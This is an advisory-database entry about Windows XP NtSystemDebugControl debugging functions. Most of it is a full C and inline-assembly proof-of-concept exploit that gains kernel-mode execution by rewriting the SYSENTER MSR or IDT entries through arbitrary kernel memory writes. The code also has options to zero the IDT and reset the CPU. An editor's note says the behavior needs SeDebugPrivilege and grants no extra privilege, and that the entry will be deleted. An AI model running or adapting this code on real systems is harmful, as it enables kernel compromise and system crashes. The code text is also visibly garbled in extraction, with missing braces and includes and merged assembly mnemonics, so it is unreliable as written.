Description: Several vulnerabilities were reported in the Windows XP kernel in some debugging functions. A local user with 'SeDebugPrivilege' rights can execute arbitrary code in kernel mode.
[Editor's note: A user has reported to us and the author of the original message has confirmed that a user with SeDebugPrivilege rights can, by the intended design of the associated privileges, modify the address space of arbitrary processes. As such, the behavior described below does not provide the user with any greater privileges than the user would already have. We will delete this entry from our database shortly.]
The flaws reportedly reside in the NtSystemDebugControl() function, which is exported by the ZwSystemDebugControl() function (in ntdll.dll). The NtSystemDebugControl() function reportedly executes in ring 0 (i.e., kernel mode).
It is reported that a local user with appropriate privileges can use the SYSENTER/SYSCALL instructions (via the NtSystemDebugControl() function) to write to the IA32_SYSENTER_EIP model specific register (MSR) and change the MSR to point to the user's arbitrary code.
It is also reported that a local user can modify an interrupt dispatch table (IDT) entry to point to the user's arbitrary code and then call an interrupt. A flaw in the read I/O sub-function of NtSystemDebugControl() reportedly fails to validate the pointers in the IO_STRUCT, so the kernel can be made to read from an I/O port (e.g., BIOS POST port 80h). The local user can first write to an I/O port and then use the exploit method to read the value and have the kernel write an arbitrary byte to an arbitrary address.
A similar vulnerability is reported in the DebugSysReadBusData() and DebugSysWriteBusData() functions, where the BUS_STRUCT values are not validated. A local user can call the hardware abstraction layer to cause the kernel to write an arbitrary byte to an arbitrary address.
Some demonstration exploit code is provided
/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/
#include
#include
typedef int NTSTATUS;
#define NTAPI __stdcall
const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;
const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;// CMOS Diagnostic Status
const RdWrIoPort = 0x80;
#define FCHK(a) if (!(a)) {printf(#a " failedn"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failedn"); goto b;}
typedef enum _DEBUG_CONTROL_CODE {
DebugSysReadIoSpace = 14,
DebugSysWriteIoSpace = 15,
DebugSysReadMsr = 16,
DebugSysWriteMsr = 17,
DebugSysReadBusData = 18,
DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;
typedef struct _MSR_STRUCT {
DWORD MsrNum;// MSR number
DWORD NotUsed;// Never accessed by the kernel
DWORD MsrLo;// IN (write) or OUT (read): Low 32 bits of MSR
DWORD MsrHi;// IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;
typedef struct _IO_STRUCT {
DWORD IoAddr;// IN: Aligned to NumBytes,I/O address
DWORD Reserved1;// Never accessed by the kernel
PVOID pBuffer;// IN (write) or OUT (read): Ptr to buffer
DWORD NumBytes;// IN: # bytes to read/write. Only use 1, 2, or 4.
DWORD Reserved4;// Must be 1
DWORD Reserved5;// Must be 0
DWORD Reserved6;// Must be 1
DWORD Reserved7;// Never accessed by the kernel
} IO_STRUCT;
// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
ConfigurationSpaceUndefined = -1,
Cmos,
EisaConfiguration,
Pos,
CbusConfiguration,
PCIConfiguration,
VMEConfiguration,
NuBusConfiguration,
PCMCIAConfiguration,
MPIConfiguration,
MPSAConfiguration,
PNPISAConfiguration,
SgiInternalConfiguration,
MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
each field
typedef struct _BUS_STRUCT {
ULONG Offset;
PVOID Buffer;
ULONG Length;
BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} BUS_STRUCT;
typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
DEBUG_CONTROL_CODE ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
enum Ring0Method {
Method1,
Method2,
};
struct OldCpuState
Ring0Method meth;
MSR_STRUCT msr[3];
DWORD AffinityMask;
DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};
void help()
printf("Usage: name_of_program [option [option [...]]]n");
printf("/test1 - test for SYSENTER vulnn");
printf("/test2 - test for I/O write to mem
vulnn");
printf("/test3 - test for bus write to mem
vulnn");
printf("/reset - reset CPU in ring 0n");
printf("/zeroidt - zero IDT (reboots PC)n");
printf("/wrmem - write byte to memn");
printf("/rdmsr - read MSRn");
printf("/wrmsr - write MSRn");
printf("/rdio - read I/O portn");
printf("/wrio - write I/O portn");
printf("/dump - dump memory from ring 0n");
exit(0);
int rdmsr(int MsrNum, MSR_STRUCT& msr)
msr.MsrNum = MsrNum;
return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
int wrmsr(int MsrNum, MSR_STRUCT& msr)
msr.MsrNum = MsrNum;
return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
void PrintMsr(MSR_STRUCT& msr)
printf("MSR %08X = %08X_%08Xn", msr.MsrNum, msr.MsrHi, msr.MsrLo);
int HasSysEnter()
int retval = 0;
__try
{
__asm
{
moveax,1
cpuid
shredx,12
adcretval,0
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
}
return retval;
int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
DWORD tmp;
FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
pOldAffinityMask, &tmp));
FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));
return 1;
/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
BYTE buf;
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr ? *ppAddr : &buf;
bus.Offset = 0;
bus.Length = 1;
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
return -1;
else
return ppAddr ? 0x100 : buf;
/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
bus.Offset = 0;
bus.Length = 1;
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
IO_STRUCT io;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = &Value;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return 0;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return 0;
return 1;
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
BYTE Value;
IO_STRUCT io;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return -1;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = &Value;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return -1;
return Value;
int CmosTest()
int OldVal = CmosRead(CmosIndx);
if (OldVal < 0)
return 0;
static int HasTested = 0;
if (HasTested == 0)
{
HasTested = -1;
if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
!CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
!CmosWrite(CmosIndx, (BYTE)OldVal))
{
printf("There's something wrong with your CMOSn");
return 0;
}
HasTested = 1;
}
else if (HasTested == -1)
return 0;
return 1;
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
if (!CmosTest())
return 0;
int OldVal = CmosRead(CmosIndx);
if (OldVal < 0)
return 0;
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
!CmosWrite(CmosIndx, OldVal))
return 0;
return 1;
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
int OldVal, RetVal;
if (!CmosTest())
return -1;
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
(RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
return -1;
return RetVal;
static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
int old = MemAccessMethType;
if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
MemAccessMethType = NewMeth;
return old;
int WriteMemByte(DWORD MemAddr, BYTE Value)
switch (MemAccessMethType)
{
case 1:
return Method1_WriteMemByte(MemAddr, Value);
case 2:
return Method2_WriteMemByte(MemAddr, Value);
case -1:
default:
return Method1_WriteMemByte(MemAddr, Value) ||
Method2_WriteMemByte(MemAddr, Value);
}
int ReadMemByte(DWORD MemAddr)
switch (MemAccessMethType)
{
case 1:
return Method1_ReadMemByte(MemAddr);
case 2:
return Method2_ReadMemByte(MemAddr);
case -1:
default:
int RetVal;
if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
(void)0 /* Nothing */;
return RetVal;
}
/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
old.meth = Method1;
if (!HasSysEnter())
return 0;
FCHK(SetProcessor(1, &old.AffinityMask));
FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);
DWORD Ring0Addr;
__asm
{
movRing0Addr,offset ring0_addr
}
Sleep(100);// A more reliable way is to block all interrupts through the
PIC.
MSR_STRUCT msr;
if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
{
// IMPORTANT:
// I assume the OS sets up the GDT as follows:
// base:ring0 code
//ring0 data
//ring3 code
//ring3 data
// Will crash eventually if it's not setup that way
msr.MsrLo = SelCodeKernel;
msr.MsrHi = 0;
FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
}
msr.MsrHi = 0;
msr.MsrLo = Ring0Addr;
FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2);// Let's hope we won't get
interrupted after this call
__asm
{
movecx,esp
// Hmm, can't assemble SYSENTER or DB 0F,34
jmpshort $+3
moveax,9090340Fh
ring0_addr:
movesp,ecx
// Hot dog! :)
}
return 1;
cleanup2:
if (old.msr[0].MsrLo == 0)
wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
FCHK(SetProcessor(old.AffinityMask, NULL));
return 0;
/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
MSR_STRUCT* pmsr = &old.msr[0];
__asm
{
movebx,pmsr
movecx,[ebx]// IA32_SYSENTER_CS
moveax,[ebx+8]
movedx,[ebx+0Ch]
testeax,eax
jzskip1
wrmsr
skip1:
movecx,[ebx+10h]// IA32_SYSENTER_ESP
moveax,[ebx+10h+8]
movedx,[ebx+10h+0Ch]
wrmsr
movecx,[ebx+20h]// IA32_SYSENTER_EIP
moveax,[ebx+20h+8]
movedx,[ebx+20h+0Ch]
wrmsr
movecx,esp
movedx,offset ring3_code
// Hmm, can't assemble SYSEXIT or DB 0F,35
jmpshort $+3
moveax,90350FFBh
ring3_code:
}
if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
wrmsr(old.msr[0].MsrNum, old.msr[0]);
SetProcessor(old.AffinityMask, NULL);
/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
old.meth = Method2;
FCHK(SetProcessor(1, &old.AffinityMask));
DWORD Ring0Addr, EFLAGS, _CS, _SS;
DWORD idt[2], idt_base, idt_limit;
__asm
{
movRing0Addr,offset ring0_addr
sidtidt+2
movzxeax,word ptr idt+2
movidt_limit,eax
moveax,idt+4
movidt_base,eax
pushfd
popeax
movEFLAGS,eax
movword ptr _CS,cs
movword ptr _SS,ss
}
old.EFLAGS = EFLAGS;
old.CS = _CS;
old.SS = _SS;
#define IntNum 0xFF
if (IntNum*8 + 7 > idt_limit)
{
printf("ERROR: The interrupt number is outside the IDT. Change it and
recompile.n");
goto cleanup;
}
BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
for (int i = 0; i < 8; i++)
{
int SomeByte;
FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
*pOldIdtDesc++ = (BYTE)SomeByte;
}
DWORD IdtDesc[2];
IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00;// 32-bit interrupt gate,
DPL3
for (int i = 0; i < 8; i++)
FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
cleanup);
__asm
{
xchgesp,eax
intIntNum
ring0_addr:
xchgesp,eax
// What do you know, it worked!
}
return 1;
cleanup:
FCHK(SetProcessor(old.AffinityMask, NULL));
return 0;
/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
DWORD idt[2];
DWORD EFLAGS = old.EFLAGS;
DWORD _CS = old.CS;
DWORD _SS = old.SS;
DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
__asm
{
sidtidt+2
moveax,idt+4
movecx,pOldIdtDesc
movedx,[ecx]
movecx,[ecx+4]
mov[eax+IntNum*8],edx
mov[eax+IntNum*8+4],ecx
moveax,esp
push_SS
pusheax
moveax,EFLAGS
andeax,not (1 shl 0Eh)
pusheax
push_CS
pushoffset ring3_addr
iretd
ring3_addr:
}
SetProcessor(old.AffinityMask, NULL);
int EnterRing0(OldCpuState& old)
/*
* Method2 is safer than Method1
*/
return Method2_EnterRing0(old) || Method1_EnterRing0(old);
void LeaveRing0(OldCpuState& old)
switch (old.meth)
{
case Method1:Method1_LeaveRing0(old); break;
case Method2:Method2_LeaveRing0(old); break;
default:__asm jmpshort $
}
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
TOKEN_PRIVILEGES tok;
tok.PrivilegeCount = 1;
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
return 1;
void PrintDelay(int secs)
while (secs--)
{
printf("%d..", secs+1);
Sleep(1000);
}
printf("NOWn");
void PrintVulnMsg(int failed)
if (!failed)
printf("Your operating system is vulnerable to this exploit.n");
else
{
printf("If this user account has the SeDebugPrivilege privilege then
yourn");
printf("OS doesn't appear to be vulnerable.nn");
}
DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
if (!bufsz || !buf)
return 0;
#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
BYTE* p = (BYTE*)buf;
for (DWORD i = 0; i < bufsz; i++)
{
int SomeByte;
if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
break;
p[i] = (BYTE)SomeByte;
}
return i;
#else
OldCpuState old;
if (!EnterRing0(old))
return 0;
DWORD ret_val;
__asm
{
subesp,8
sidt[esp+2]
movebx,[esp+4]
addesp,8
pushdword ptr [ebx+0Eh*8]
pushdword ptr [ebx+0Eh*8+4]
moveax,offset xcpt_handler
mov[ebx+0Eh*8],eax
mov[ebx+0Eh*8+4],eax
movword ptr [ebx+0Eh*8+4],8E00h
movword ptr [ebx+0Eh*8+2],cs
movecx,bufsz
movesi,MemAddr
movedi,buf
rep movsb
jmpskip_xcpt
xcpt_handler:
addesp,8
popfd
popeax
skip_xcpt:
popdword ptr [ebx+0Eh*8+4]
popdword ptr [ebx+0Eh*8]
moveax,bufsz
subeax,ecx
movret_val,eax
}
LeaveRing0(old);
return ret_val;
#endif
int DumpMem(DWORD MemAddr, DWORD size)
if (size == 0)
return 1;
if (MemAddr + size - 1 < MemAddr)
return 0;
DWORD OldMask;
FCHK(SetProcessor(1, &OldMask));
int ret = 1;
const BytesPerLine = 16;
while (size)
{
BYTE buf[BytesPerLine];
DWORD addr = MemAddr - MemAddr % BytesPerLine;
DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);
printf("%08X:", addr);
for (int i = 0; i < BytesPerLine; i++)
{
if ((i & 3) == 0 && i != 0)
printf("-");
else
printf(" ");
if (addr < MemAddr || addr > MemAddr+size-1)
printf(" ");
else if ((DWORD)i >= SizeRead)
printf("??");
else
printf("%02X", buf[i]);
addr++;
}
printf(" ");
addr = MemAddr - MemAddr % BytesPerLine;
for (int i = 0; i < BytesPerLine; i++)
{
if (addr < MemAddr || addr > MemAddr+size-1)
printf(" ");
else if ((DWORD)i >= SizeRead)
printf("?");
else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
printf("%c", buf[i]);
else
printf(".");
addr++;
}
printf("n");
size -= min(size, addr - MemAddr);
MemAddr = addr;
}
SetProcessor(OldMask, NULL);
return ret;
int main(int argc, char* argv[])
HMODULE hNtdll;
FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);
HANDLE hToken;
FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
for (int i = 1; i < argc; i++)
{
char* s = argv[i];
if (*s != '/' && *s != '-')
help();
s++;
if (!strcmp(s, "rdmsr") && i+1 < argc)
{
MSR_STRUCT msr;
int num = strtoul(argv[++i], NULL, 0);
if (rdmsr(num, msr))
PrintMsr(msr);
else
printf("rdmsr(%08X) failedn", num);
}
else if (!strcmp(s, "wrmsr") && i+3 < argc)
{
MSR_STRUCT msr;
int num = strtoul(argv[++i], NULL, 0);
msr.MsrHi = strtoul(argv[++i], NULL, 0);
msr.MsrLo = strtoul(argv[++i], NULL, 0);
if (!wrmsr(num, msr))
{
printf("wrmsr(%08X) failedn", num);
continue;
}
if (rdmsr(num, msr))
PrintMsr(msr);
else
printf("rdmsr(%08X) failedn", num);
}
else if (!strcmp(s, "rdio") && i+2 < argc)
{
IO_STRUCT io;
memset(&io, 0, sizeof(io));
DWORD Buffer;
io.IoAddr = strtoul(argv[++i], NULL, 0);
io.pBuffer = &Buffer;
io.NumBytes = strtoul(argv[++i], NULL, 0);
io.Reserved4 = 1;
io.Reserved6 = 1;
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
{
printf("Size must be 1, 2, or 4 bytesn");
continue;
}
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
{
printf("Could not read I/O spacen");
continue;
}
switch (io.NumBytes)
{
case 1: printf("0x%02Xn", (BYTE)Buffer); break;
case 2: printf("0x%04Xn", (WORD)Buffer); break;
case 4: printf("0x%08Xn", Buffer); break;
default: printf("WTFn"); break;
}
}
else if (!strcmp(s, "wrio") && i+3 < argc)
{
IO_STRUCT io;
memset(&io, 0, sizeof(io));
DWORD Buffer;
io.IoAddr = strtoul(argv[++i], NULL, 0);
io.pBuffer = &Buffer;
io.NumBytes = strtoul(argv[++i], NULL, 0);
io.Reserved4 = 1;
io.Reserved6 = 1;
Buffer = strtoul(argv[++i], NULL, 0);
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
{
printf("Size must be 1, 2, or 4 bytesn");
continue;
}
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
{
printf("Could not write to I/O spacen");
continue;
}
}
else if (!strcmp(s, "reset"))
{
OldCpuState old;
printf("Will reset computer in...");
PrintDelay(3);
if (!EnterRing0(old))
{
printf("Could not enter ring 0n");
continue;
}
__asm
{
push0
lidt[esp]
popesp
incesp
pushesp
}
LeaveRing0(old);
printf("WTFn");
}
else if (!strcmp(s, "wrmem") && i+2 < argc)
{
DWORD MemAddr = strtoul(argv[++i], NULL, 0);
BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);
if (!WriteMemByte(MemAddr, Value))
{
printf("Could not write the byten");
continue;
}
}
else if (!strcmp(s, "zeroidt"))
{
DWORD OldMask;
if (!SetProcessor(1, &OldMask))
{
printf("SetProcessor() failedn");
continue;
}
DWORD idt[2];
int idt_size, idt_base;
__asm
{
sidtidt+2
movzxeax,word ptr idt+2
movidt_size,eax
moveax,idt+4
movidt_base,eax
}
printf("Will start writing to IDT @ %08X in...", idt_base);
PrintDelay(3);
for (int j = 0; j <= idt_size; j++)
{
if (!WriteMemByte(idt_base + j, 0x00))
{
printf("Could not write the byte to address %08Xn", idt_base + j);
break;
}
}
if (j != 0)
printf("WTFn");
SetProcessor(OldMask, NULL);
}
else if (!strcmp(s, "test1"))
{
if (!HasSysEnter())
{
printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
processor.n");
continue;
}
int failed = 1;
OldCpuState old;
printf("Testing SYSENTER vulnerability in...");
PrintDelay(3);
if (Method1_EnterRing0(old))
{
failed = 0;
Method1_LeaveRing0(old);
}
PrintVulnMsg(failed);
}
else if (!strcmp(s, "test2"))
{
int failed = 1;
OldCpuState old;
printf("Testing I/O write to memory vulnerability in...");
PrintDelay(3);
int OldWrite = SetMemAccessMeth(1);
if (Method2_EnterRing0(old))
{
failed = 0;
Method2_LeaveRing0(old);
}
SetMemAccessMeth(OldWrite);
PrintVulnMsg(failed);
}
else if (!strcmp(s, "test3"))
{
int failed = 1;
OldCpuState old;
printf("Testing bus write to memory vulnerability in...");
PrintDelay(3);
int OldWrite = SetMemAccessMeth(2);
if (Method2_EnterRing0(old))
{
failed = 0;
Method2_LeaveRing0(old);
}
SetMemAccessMeth(OldWrite);
PrintVulnMsg(failed);
}
else if (!strcmp(s, "dump") && i+2 < argc)
{
DWORD MemAddr = strtoul(argv[++i], NULL, 0);
DWORD size = strtoul(argv[++i], NULL, 0);
if (!DumpMem(MemAddr, size))
printf("Could not dump memoryn");
}
else
{
help();
}
}
return 1;
Impact: A local user with the SeDebugPrivilege privilege can execute arbitrary code with kernel mode privileges to take full control of the system.
Solution: [Editor's note: It is apparent that the described behavior does not qualify as a vulnerability for listing in our database. See the Description section for details. This entry will be deleted from our database shortly.] |